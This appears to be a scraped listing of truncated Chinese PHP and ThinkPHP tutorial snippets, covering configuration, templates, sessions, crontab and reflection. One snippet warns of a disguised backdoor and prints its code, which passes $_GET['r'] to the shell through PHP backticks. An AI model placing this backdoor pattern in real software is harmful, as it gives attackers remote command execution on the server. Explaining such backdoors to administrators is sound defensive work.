Time of Update: 2016-07-13
背景在項目中很多人喜歡在設定檔使用數組來配置各個配置項,如等級的配置level.config.php:複製代碼 代碼如下:$g_levelConfig = array( '1'=>'新手', '2'=>'進階', );因為項目不同模組經常會相互調用方法,會出現重複包含一個檔案的情況,為了避免錯誤,大家一般都會用require_one,而且經常會在函數裡包含檔案,如:複製代碼 代碼如下:
Time of Update: 2016-07-13
ThinkPHP模板中的switch標籤用於在模板中根據不同情況輸出不同的值。ThinkPHP模板引擎支援switch判斷,可根據不同條件輸出不同的結果,使用格式如下:輸出內容1輸出內容2預設情況用法舉例如下:管理員遊客此處注意:name屬性可以使用函數以及系統變數,其屬性值為變數名稱,沒有$符號,而value值使用變數時需要帶$符號,如上面的例子所示。而value的值在使用變數方式的情況下,不再支援多個條件的同時判斷,如下面多條件判斷。多條件判斷:case 的 value
Time of Update: 2016-07-13
擷取分類下面的所有子類方法: static function getMenuTree($arrCat, $parent_id = 0, $level = 0,$all=True) { static $arrTree; //使用static代替global if(!$all) $arrTree =''; if( empty($arrCat)) return FALSE; $level++; if($
Time of Update: 2016-07-13
在使用 PHP 進行開發的過程中,或早或晚,您會需要建立許多相似的變數。 無需很多相似的變數,你可以把資料作為元素儲存在數組中。 數組中的元素都有自己的 ID,因此可以方便地訪問它們。 有三種數群組類型: 數值數組 帶有數字 ID 鍵的數組 例子 $names = array("Peter","Quagmire","Joe"); echo $names[1] . " and " . $names[2] . " are ". $names[0] . "'s
Time of Update: 2016-07-13
windows7下 php串連mysql的問題,php 串連mysql串連被重設的解決方案,需要的朋友可以參考下。 新裝了windows7 64位系統後,配備布置許多東西,總是有這樣的那樣子的拂意,昨天在開始配備布置php+apache的時候,echo phpinfo()完全沒問題,但是一朝串連mysql就會呈現頁面被重設的問題。原來問題不大,但是我卻走到了誤區: 1、我懷疑64位系統的問題; 2、我感覺代碼靠不住,因為另外都能執行,輕率寫個 substr()也是能顯示出來的
Time of Update: 2016-07-13
php/* * hash::拉鏈法解決hash節點儲存衝突問題 * ::2014-07-02 * ::Small_Kind */class small_hash { private $size = 20;//hash節點大小 private $zone = null;//hash空間 //執行個體化函數,並設定一個初始hash節點大小,如果節點大小為null,則為預設節點大小 final public function __construct($size = null){
Time of Update: 2016-07-13
1、如果能將類的方法定義成static,就盡量定義成static,它的速度會提升將近4倍。 2、$row[’id’] 的速度是$row[id]的7倍。 3、echo 比 print 快,並且使用echo的多重參數(譯註:指用逗號而不是句點)代替字串串連,比如echo
Time of Update: 2016-07-13
php為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: http://www.bkjia.com/PHPjc/822514.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/822514.htmlTechArticlephp為圖片添加浮水印,適用於png/jpg/gif格式圖片,可以指定浮水印的位置和浮水印的透明度,非常實用,完整的代碼如下: ?php /** *
Time of Update: 2016-07-13
不想每次測試 PHP 時都開虛擬機器,於是在電腦上用 XAMPP 搭建了測試平台。 我現在已經把我的部落格資料導到本地,準備寫一個自己的模板。 因為我習慣給不同的項目建一個檔案夾,而在根目錄不想放其他東西,為了能夠更方便地進入各個項目,我就想在根目錄的裡建個索引,一個項目對應一個超連結。用靜態頁固然可以,但是如果我一新增項目豈不是要更新這個靜態頁?程式猿一般都很懶,於是寫了個小程式,用來列出當前檔案夾中的所有目錄。 ".$filename[$i]." /n"; }
Time of Update: 2016-07-13
方法一: 注意: 1、$charset變數為網頁編碼,如"gb2312"或"utf-8"; 2、使用方法一要求伺服器必須開啟mbstring.dll擴充,否則代碼執行錯誤,所以對於使用虛擬機器主機的朋友,可以考慮使用第二種方法。 方法二: 127?$str[$i].$str[++$i]:$str[$i]; } return $arr; } $arr=str_to_arr($str); ?>
Time of Update: 2016-07-13
偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是
Time of Update: 2016-07-13
很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php
Time of Update: 2016-07-13
使用memcache來同步session是還是不錯的,當然也可以通過redis來儲存session,可以php開啟並將Session儲存到Redis緩衝,下面是設定利用memcache在web叢集中同步會話session的實現過程:1、類比web叢集我啟動了二個memcached進程,分別類比二台伺服器/usr/local/bin/memcached -d -m 20 -u zhangy -p 12000 -P ./memcached.pid/usr/local/bin/memcached
Time of Update: 2016-07-13
ThinkPHP是國內著名的開源的PHP架構,是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,並且遵循Apache2開源協議發布。早期的思想架構來源於Struts,後來經過不斷改進和完善,同時也借鑒了國外很多優秀的架構和模式,使用物件導向的開發結 構和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(標籤庫)、RoR的ORM映射和ActiveRecord模式,
Time of Update: 2016-07-13
ThinkPHP系統常量和預定義常量匯總如下:1.系統常量:THINK_PATH // ThinkPHP系統目錄:APP_PATH // 當前項目目錄APP_NAME // 當前項目名稱MODULE_NAME //當前模組名稱ACTION_NAME // 當前操作名稱TMPL_PATH // 項目模版目錄LIB_PATH // 項目類庫目錄CACHE_PATH // 項目模版緩衝目錄CONFIG_PATH //項目設定檔目錄LOG_PATH //
Time of Update: 2016-07-13
對很多使用ThinkPHP架構的人來說,使用自動內建的增刪改查基類,在分頁的時候要保持結果頁面的搜尋狀態,但是使用thinkphp手冊中的方案卻無法奏效。ThinkPHP手冊中的解決方案是://分頁跳轉的時候保證查詢條件foreach($map as $key=>$val) { $Page->parameter .=
Time of Update: 2016-07-13
ThinkPHP實現串連多個資料的時候,如果資料庫在同一個伺服器裡的話只需要這樣定義模型:class MembersModel extends Model{protected $trueTableName = 'members.members';
Time of Update: 2016-07-13
下面附上import的幾個用法介紹1、用法一import('@.Test.Translate');@,表示項目根目錄。假定根目錄是:App/匯入類庫的路徑是:App/Lib/Test/Translate.class.php結論:import('@')是相對於項目目錄的Lib目錄而言2、用法二import('Think.Test.Translate');Think,表示系統根目錄。既是:./ThinkPHP/匯入類庫的路徑是:./ThinkPHP/Lib/Test/Translate.class.
Time of Update: 2016-07-13
ThinkPHP架構的模板中調用session資料的方法有很多,可以很據情況靈活運用,常見的有以下幾類:1.在模板中直接調用{$Think.session}擷取session;2.在標籤直接編寫php代碼來調用$_SESSION資料;3.在模板中寫,然後在裡面直接編寫php代碼來調用$_SESSION;4.在Action中將$_SESSION變數通過assign()方法賦值給模板;5.在自訂函數庫中,建立一個函數用來返回$_SESSION變數,然後在模板檔案中使用{$變數命 |
Time of Update: 2016-07-13
最近在開發過程中需要擷取某個類方法的參數數量、名稱及參數順序,好根據參數的名稱來從$_GET裡取值。如方法原型為test($uid,$score), 那麼我就知道需要需要從$_GET取複製代碼 代碼如下:$uid = $_GET['uid'];$score = $_GET['score'];然後調用方法$obj->test($uid,$score)當然前提是約定好了參數名稱和get方法傳值變數名一致。採用PHP的反射API,獲得函數參數名稱和參數預設值的方法如下:複製代碼 代碼如下:class